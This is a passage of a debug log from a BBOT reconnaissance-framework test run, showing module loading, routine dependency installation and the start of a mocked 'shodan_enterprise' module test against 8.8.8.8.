16:59:13,035 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-01 16:59:13,038 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-01 16:59:13,039 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-01 16:59:13,040 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-01 16:59:13,041 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-01 16:59:13,042 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-01 16:59:13,043 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-03-01 16:59:13,044 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-01 16:59:13,045 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-01 16:59:13,045 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-01 16:59:13,045 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-03-01 16:59:13,046 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-03-01 16:59:13,047 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-03-01 16:59:13,048 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-03-01 16:59:13,049 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-03-01 16:59:13,050 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-03-01 16:59:13,050 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-03-01 16:59:13,051 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-03-01 16:59:13,052 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-03-01 16:59:13,052 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-03-01 16:59:13,053 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-03-01 16:59:13,054 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-03-01 16:59:13,054 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-03-01 16:59:13,055 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-03-01 16:59:13,056 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-03-01 16:59:13,056 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-03-01 16:59:13,057 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-03-01 16:59:13,058 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-03-01 16:59:13,059 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-03-01 16:59:13,060 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-03-01 16:59:13,060 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-03-01 16:59:13,061 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-03-01 16:59:13,062 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-03-01 16:59:13,062 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-03-01 16:59:13,063 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-03-01 16:59:13,064 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-03-01 16:59:13,065 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-03-01 16:59:13,065 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-03-01 16:59:13,066 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-03-01 16:59:13,066 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-03-01 16:59:13,067 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-03-01 16:59:13,067 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-03-01 16:59:13,068 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-03-01 16:59:13,069 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-03-01 16:59:13,069 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-03-01 16:59:13,070 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-03-01 16:59:13,074 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-03-01 16:59:13,075 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-03-01 16:59:13,075 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-03-01 16:59:13,076 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-03-01 16:59:13,077 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-03-01 16:59:13,078 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-03-01 16:59:13,078 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-03-01 16:59:13,079 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-03-01 16:59:13,080 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-03-01 16:59:13,080 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-03-01 16:59:13,081 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-03-01 16:59:13,082 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-03-01 16:59:13,082 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-03-01 16:59:13,083 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-03-01 16:59:13,084 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-03-01 16:59:13,085 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-03-01 16:59:13,085 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-03-01 16:59:13,086 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-03-01 16:59:13,086 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-03-01 16:59:13,087 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-03-01 16:59:13,088 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-03-01 16:59:13,088 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-03-01 16:59:13,089 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-03-01 16:59:13,090 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-03-01 16:59:13,090 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-03-01 16:59:13,091 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-03-01 16:59:13,096 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-03-01 16:59:13,097 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-03-01 16:59:13,098 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-03-01 16:59:13,099 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-03-01 16:59:13,100 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-03-01 16:59:13,101 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-03-01 16:59:13,101 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-03-01 16:59:13,102 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-03-01 16:59:13,103 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-03-01 16:59:13,103 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-03-01 16:59:13,105 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-03-01 16:59:13,105 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-03-01 16:59:13,106 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-03-01 16:59:13,106 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-03-01 16:59:13,107 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-03-01 16:59:13,108 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-03-01 16:59:13,108 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-03-01 16:59:13,109 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-03-01 16:59:13,109 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-03-01 16:59:13,110 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-03-01 16:59:13,110 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-03-01 16:59:13,111 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-03-01 16:59:13,111 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-03-01 16:59:13,112 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-03-01 16:59:13,113 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-03-01 16:59:13,113 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-03-01 16:59:13,114 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-03-01 16:59:13,115 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-03-01 16:59:13,116 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-03-01 16:59:13,117 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-03-01 16:59:13,118 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-03-01 16:59:13,118 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-03-01 16:59:13,119 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-03-01 16:59:13,120 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-03-01 16:59:13,120 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-03-01 16:59:13,121 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-03-01 16:59:13,122 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-03-01 16:59:13,122 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-03-01 16:59:13,123 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-03-01 16:59:13,123 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-03-01 16:59:13,124 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-03-01 16:59:13,125 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-03-01 16:59:13,126 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-03-01 16:59:13,126 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-03-01 16:59:13,127 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-03-01 16:59:13,127 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-03-01 16:59:13,128 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-03-01 16:59:13,129 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-03-01 16:59:13,130 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-03-01 16:59:13,130 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-03-01 16:59:13,131 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-03-01 16:59:13,131 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-03-01 16:59:13,132 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-03-01 16:59:13,133 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-03-01 16:59:13,134 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-03-01 16:59:13,134 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-03-01 16:59:13,135 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-03-01 16:59:13,136 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-03-01 16:59:13,136 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-03-01 16:59:13,137 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-03-01 16:59:13,138 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-03-01 16:59:13,138 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-03-01 16:59:13,140 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-03-01 16:59:13,140 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-03-01 16:59:13,141 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-03-01 16:59:13,142 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-03-01 16:59:13,142 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-03-01 16:59:13,143 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-03-01 16:59:13,144 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-03-01 16:59:13,144 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-03-01 16:59:13,145 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-03-01 16:59:13,145 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-03-01 16:59:13,146 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-03-01 16:59:13,147 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-03-01 16:59:13,148 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-03-01 16:59:13,148 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-03-01 16:59:13,149 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-03-01 16:59:13,150 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-03-01 16:59:13,150 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-03-01 16:59:13,150 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-03-01 16:59:13,152 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-03-01 16:59:13,153 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-03-01 16:59:13,153 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-03-01 16:59:13,154 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-03-01 16:59:13,155 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-03-01 16:59:13,156 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-03-01 16:59:13,156 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-03-01 16:59:13,157 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-03-01 16:59:14,241 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:59:14,241 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:59:14,242 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-01 16:59:14,374 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-01 16:59:14,976 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-01 16:59:14,976 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-01 16:59:14,976 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-01 16:59:14,976 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-01 16:59:15,179 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-01 16:59:15,180 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-01 16:59:15,287 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-01 16:59:15,288 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-01 16:59:15,342 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-03-01 16:59:15,345 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-01 16:59:15,345 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-03-01 16:59:15,773 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-01 16:59:15,773 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-03-01 16:59:19,112 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-03-01 16:59:19,112 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-01 16:59:19,113 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-01 16:59:20,878 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-01 16:59:20,879 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-01 16:59:20,884 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:59:20,885 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-01 16:59:20,885 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:59:20,886 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-03-01 16:59:20,886 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-03-01 16:59:20,886 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-01 16:59:20,891 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/ufn8fy2dvj2co7d9xt49 -2026-03-01 16:59:21,695 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-03-01 16:59:21,696 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-01 16:59:21,697 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:59:21,697 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-01 16:59:21,698 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:59:21,698 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-01 16:59:21,699 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-03-01 16:59:21,821 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-03-01 16:59:21,821 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-01 16:59:21,821 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-03-01 16:59:21,823 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-03-01 16:59:21,823 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-03-01 16:59:21,823 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-01 16:59:21,823 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-03-01 16:59:21,824 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-03-01 16:59:21,824 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-01 16:59:21,825 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-03-01 16:59:21,825 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-01 16:59:21,826 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-01 16:59:21,826 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-01 16:59:21,826 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-03-01 16:59:21,826 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-01 16:59:21,827 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-01 16:59:21,827 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-01 16:59:21,827 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-01 16:59:21,827 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-01 16:59:21,828 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-01 16:59:21,828 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-01 16:59:21,828 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-01 16:59:21,828 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-01 16:59:21,829 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-01 16:59:21,829 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-01 16:59:21,829 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-01 16:59:21,830 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-01 16:59:21,830 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-01 16:59:21,830 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-01 16:59:21,830 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-01 16:59:21,830 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-01 16:59:21,831 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-01 16:59:21,831 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-01 16:59:21,831 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-01 16:59:21,831 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-01 16:59:21,832 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-01 16:59:21,832 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-01 16:59:21,832 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-01 16:59:21,832 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-03-01 16:59:21,832 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-01 16:59:21,832 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-01 16:59:21,833 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-01 16:59:21,833 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-03-01 16:59:21,833 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-01 16:59:21,833 [DEBUG] bbot base.py:111 Starting scan -2026-03-01 16:59:21,972 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_z1d36bw767 -2026-03-01 16:59:21,972 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-03-01 16:59:22,086 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-03-01 16:59:22,087 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-01 16:59:22,087 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-01 16:59:22,088 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) -2026-03-01 16:59:22,189 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:dc3e9e6f2b5089fed01c8087c713d902c9c7db85', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:59:22,191 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:dc3e9e6f2b5089fed01c8087c713d902c9c7db85', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:59:22,192 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:dc3e9e6f2b5089fed01c8087c713d902c9c7db85', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:59:22,192 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) passed post-check -2026-03-01 16:59:22,193 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) -2026-03-01 16:59:22,194 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:dc3e9e6f2b5089fed01c8087c713d902c9c7db85', 'name': 'testshodan_ente...", 